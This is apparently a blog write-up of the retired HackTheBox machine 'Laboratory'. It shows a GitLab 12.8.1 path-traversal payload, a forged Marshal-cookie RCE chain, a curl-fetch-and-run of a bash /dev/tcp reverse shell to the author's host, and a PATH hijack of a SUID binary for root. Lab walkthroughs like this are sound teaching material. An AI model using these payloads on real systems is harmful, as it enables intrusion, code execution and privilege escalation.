HTB: Laboratory
Posted on 16 May 2021 in security • 5 min read
This is a writeup about a retired HacktheBox machine: Laboratory publish on November 14, 2020 by 0xc45. This box is rated as an easy box. It implies mostly gitlab and a LFI vulnerability and an SUID binary.
Foothold
Recon
Let us start as always by a nmap
scan. Only port 22 (SSH), 80 and 443 (HTTP
and HTTPS) are open.
# Nmap 7.91 scan initiated Thu Nov 26 09:49:27 2020 as: nmap -p- -sSV -oN nmap 10.129.47.132
Nmap scan report for 10.129.47.132
Host is up (0.012s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 26 09:51:28 2020 -- 1 IP address (1 host up) scanned in 120.73 seconds
Web
The website either access with on the port 80 or 443 redirected to https://laboratory.htb
.
So we add an entry to /etc/hosts
.
We trying to access it again we got a certificate error as its supposed to be
for git.laboratory.htb
Se we add another entry to our /etc/hosts
and browse to it.
gitlab
This is a standard gitlab installation. We create an account and using the exploration function we found a public project that does not contains anything useful.
Looking at the help page we found that the version is GitLab Community Edition 12.8.1
While searching on Google we found a bug bounty report for this specific version that disclosed a LFI and a RCE.
LFI
In order to execute the code on the gitlab server we first need to use the LFI
to get secrets.yml
So as described in the bug bounty report we create two projects, one with an issue description containing the following link and we move it to the second project.
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
That allow us to get the file content.
# This file is managed by gitlab-ctl. Manual changes will be
# erased! To change the contents below, edit /etc/gitlab/gitlab.rb
# and run `sudo gitlab-ctl reconfigure`.
---
production:
db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af
openid_connect_signing_key: |
-----BEGIN RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEA5LQnENotwu/SUAshZ9vacrnVeYXrYPJoxkaRc2Q3JpbRcZTu
<SNIP>
We need a gitlabshell to create the cookie that will allow use to execute the code on the box. We also need the same version as the one on the box.
Using docker and some article
we create a docker-compose.yml
that looks as follow.
web:
image: 'gitlab/gitlab-ce:12.8.1-ce.0'
restart: always
hostname: 'gitlab.hakase-labs.io'
environment:
GITLAB_OMNIBUS_CONFIG: |
# Add any other gitlab.rb configuration here, each on its own line
#external_url 'https://gitlab.hakase-labs.io'
gitlab_rails['gitlab_shell_ssh_port'] = 2224
#nginx['redirect_http_to_https'] = true
#nginx['ssl_certificate'] = "/etc/gitlab/ssl/fullchain.pem"
#nginx['ssl_certificate_key'] = "/etc/gitlab/ssl/privkey.pem"
#nginx['ssl_dhparam'] = "/etc/gitlab/ssl/dhparams.pem"
ports:
- '80:80'
- '443:443'
- '2224:22'
volumes:
- '${GITLAB_HOME}/config:/etc/gitlab'
- '${GITLAB_HOME}/logs:/var/log/gitlab'
- '${GITLAB_HOME}/data:/var/opt/gitlab'
- '${GITLAB_HOME}/config/ssl:/etc/gitlab/ssl'
RCE
We got a shell on out gitlab docker and overwrite
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
with the downloaded one.
Then we use gitlab-rails console
to reproduce the lines in the
hackerone report
to create a Marshalled payload within a cookie. Our first payload is a simple
wget
targeting our own python server.
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
irb(main):014:0> erb = ERB.new("<%= `wget http://10.10.14.51:8000/p0wn` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiYyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGB3Z2V0IGh0dHA6Ly8xMC4xMC4xNC41MTo4MDAwL3Awd25gICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--e58cf8e3ef8e1b016de9b83cac7627d48ec17c45
We then use curl
to send our request and got a hit on our web server.
curl -vvv -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiYyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGB3Z2V0IGh0dHA6Ly8xMC4xMC4xNC41MTo4MDAwL3Awd25gICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--e58cf8e3ef8e1b016de9b83cac7627d48ec17c45"
We then change our payload to download a "reverse shell" and execute it:
curl http://10.10.14.51:8000/rev.sh -o /tmp/rev.sh && chmod 777 rev.sh && bash /tmp/rev.sh
The content of rev.sh is the following:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.51/4242 0>&1
Our netcat
listener quickly catch a reverse shell as git.
Getting user
Using gitlab-rails console on the HTB machine and gitlab documentation about gitlab-rails cheatsheet and projects' permissions we change the visibility of every projects on the gitlab instance to public.
gitlab-rails console
--------------------------------------------------------------------------------
GitLab: 12.8.1 (d18b43a5f5a) FOSS
GitLab Shell: 11.0.0
PostgreSQL: 10.12
--------------------------------------------------------------------------------
Loading production environment (Rails 6.0.2)
Switch to inspect mode.
Project.update_all(visibility_level: 20)
That allow us to discover a securedocker
project from the dexter
user
containing a SSH private key.
Using this key we can connect as dexter
on the box and get the user flag.
$ ssh 10.129.60.56 -i id_rsa -ldexter
dexter@laboratory:~$ id
uid=1000(dexter) gid=1000(dexter) groups=1000(dexter)
dexter@laboratory:~$ cat user.txt
a153ecab9310723fa79e5dc37487ef68
Root
We start enumerating the box. We "quickly" found a suspect SUID binary
docker-security
.
dexter@laboratory:/tmp/.plop$ find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; | grep -v snap
-rwsr-xr-x 1 root dexter 16720 Aug 28 14:52 /usr/local/bin/docker-security
-rwsr-xr-x 1 root root 166056 Jul 15 00:17 /usr/bin/sudo
-rwsr-xr-x 1 root root 44784 May 28 2020 /usr/bin/newgrp
-rwsr-xr-x 1 root root 67816 Apr 2 2020 /usr/bin/su
-rwsr-xr-x 1 root root 88464 May 28 2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 85064 May 28 2020 /usr/bin/chfn
-rwsr-xr-x 1 root root 31032 Aug 16 2019 /usr/bin/pkexec
-rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at
-rwsr-xr-x 1 root root 39144 Apr 2 2020 /usr/bin/umount
-rwsr-xr-x 1 root root 53040 May 28 2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 55528 Apr 2 2020 /usr/bin/mount
-rwsr-xr-x 1 root root 68208 May 28 2020 /usr/bin/passwd
-rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-- 1 root messagebus 51344 Jun 11 18:22 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 22840 Aug 16 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 473576 May 29 2020 /usr/lib/openssh/ssh-keysign
We use ltrace
to see what binaries are called by the SUID one. We identify
that the binary use a relative path call to chmod
.
dexter@laboratory:~$ ltrace docker-security
setuid(0) = -1
setgid(0) = -1
system("chmod 700 /usr/bin/docker"chmod: changing permissions of '/usr/bin/docker': Operation not permitted
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
system("chmod 660 /var/run/docker.sock"chmod: changing permissions of '/var/run/docker.sock': Operation not permitted
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
+++ exited (status 0) +++
So we simply create a new "chmod
" program and add it to our path to get a root
shell and grab the flag
dexter@laboratory:/tmp/.plop$ echo /bin/bash > chmod
dexter@laboratory:/tmp/.plop$ chmod +x chmod
dexter@laboratory:/tmp/.plop$ export PATH=./:$PATH
dexter@laboratory:/tmp/.plop$ echo $PATH
./:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/snap/bin
dexter@laboratory:/tmp/.plop$ docker-security
root@laboratory:/tmp/.plop# cat /root/root.txt
1b08ba51a612057b8aca9940e57fce77
Wrapping up
A really interesting box that allow us to play with a real vulnerability from a bug bounty report. Maybe more a medium than an easy box.